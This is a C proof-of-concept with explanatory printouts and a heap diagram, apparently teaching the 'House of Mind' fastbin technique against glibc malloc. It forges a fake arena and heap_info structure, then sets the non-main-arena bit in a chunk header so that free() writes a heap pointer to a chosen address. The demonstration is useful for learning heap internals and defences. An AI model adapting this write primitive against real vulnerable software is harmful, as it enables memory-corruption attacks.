House of Mind - Fastbin Variant

#define heap_for_ptr(ptr) \
  ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))
  
#define arena_for_chunk(ptr) \
  (chunk_non_main_arena(ptr) ? heap_for_ptr(ptr)->ar_ptr : &main_arena)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <assert.h>

int main(){
    printf("House of Mind - Fastbin Variant\n");
    puts("==================================");
    printf("The goal is to create a fake arena at HEAP_MAX_SIZE offset\n");
    printf("Then write to fastbins when the chunk is freed\n");
    
    // Constants
    int HEAP_MAX_SIZE = 0x4000000;
    int MAX_SIZE = (128*1024) - 0x100; // Below mmap threshold

    printf("Find initial location of the heap\n");
    // Target location and fake arena
    uint8_t* fake_arena = malloc(0x1000);
    uint8_t* target_loc = fake_arena + 0x30;
    uint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;

    // Set system_mem for fake arena
    printf("Set 'system_mem' (offset 0x888) for fake arena\n");
    fake_arena[0x888] = 0xFF;
    fake_arena[0x889] = 0xFF;
    fake_arena[0x88a] = 0xFF;

    printf("Target Memory Address for overwrite: %p\n", target_loc);
    printf("Must set data at HEAP_MAX_SIZE (0x%x) offset\n", HEAP_MAX_SIZE);

    // Calculate fake arena location
    uint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);
    uint64_t* fake_heap_info = (uint64_t*) new_arena_value;

    printf("Fake Heap Info struct location: %p\n", fake_heap_info);
    printf("Allocate until we reach a MAX_HEAP_SIZE offset\n");

    // Allocate chunks until reaching the target offset
    uint64_t* user_mem = malloc(MAX_SIZE);
    while((long long)user_mem < new_arena_value){
        user_mem = malloc(MAX_SIZE);
    }

    // Create victim fastbin chunk
    printf("Create fastbin sized chunk to be victim of attack\n");
    uint64_t* fastbin_chunk = malloc(0x50); // Size 0x60
    uint64_t* chunk_ptr = fastbin_chunk - 2;
    printf("Fastbin Chunk to overwrite: %p\n", fastbin_chunk);

    printf("Fill up the TCache so that the fastbin will be used\n");
    // Fill tcache
    uint64_t* tcache_chunks[7];
    for(int i = 0; i < 7; i++){
        tcache_chunks[i] = malloc(0x50);
    }
    for(int i = 0; i < 7; i++){
        free(tcache_chunks[i]);
    }

    // Set ar_ptr to point to our fake arena
    printf("Setting 'ar_ptr' in heap_info struct to %p\n", fake_arena);
    fake_heap_info[0] = (uint64_t) fake_arena;
    printf("Target Write at %p prior to exploitation: 0x%x\n", target_loc, *(target_loc));

    // Set non-main arena bit
    printf("Set non-main arena bit on the fastbin chunk\n");
    puts("NOTE: This keeps next chunk size valid\n");
    
    /* VULNERABILITY */
    chunk_ptr[1] = 0x60 | 0x4; // Set non-main arena bit
    /* VULNERABILITY */

    printf("When we free the fastbin chunk with the non-main arena bit\n");
    printf("set, it will cause our fake 'heap_info' struct to be used.\n");
    printf("This will dereference our fake arena location and write\n");
    printf("the address of the heap to an offset of the arena pointer.\n");

    printf("Trigger the magic by freeing the chunk!\n");
    free(fastbin_chunk);

    // Verify the write
    printf("Target Write at %p: 0x%llx\n", target_loc, *((unsigned long long*) (target_loc)));
    assert(*((unsigned long *) (target_loc)) != 0);
    
    printf("\nSuccess! Wrote heap pointer to target location.\n");
}

Heap Layout:
┌──────────────┐ 0x00000000
│ fake_arena   │ ← system_mem at +0x888 set to 0xFFFFFF
│  +0x30:      │ ← target_loc (will receive write)
├──────────────┤
│   ...        │
├──────────────┤ 0x04000000 (HEAP_MAX_SIZE aligned)
│ heap_info:   │
│  ar_ptr      │ → points to fake_arena
│  prev        │
│  size        │
├──────────────┤
│   ...        │
├──────────────┤
│fastbin_chunk │ ← size has bit 0x4 set (non-main arena)
└──────────────┘

When freed:
1. glibc sees non-main arena bit
2. Rounds address to 0x04000000
3. Reads ar_ptr from fake heap_info
4. Uses fake_arena for fastbin operations
5. Writes chunk address to fake_arena->fastbinsY[4]
6. Due to offset calculation, writes to target_loc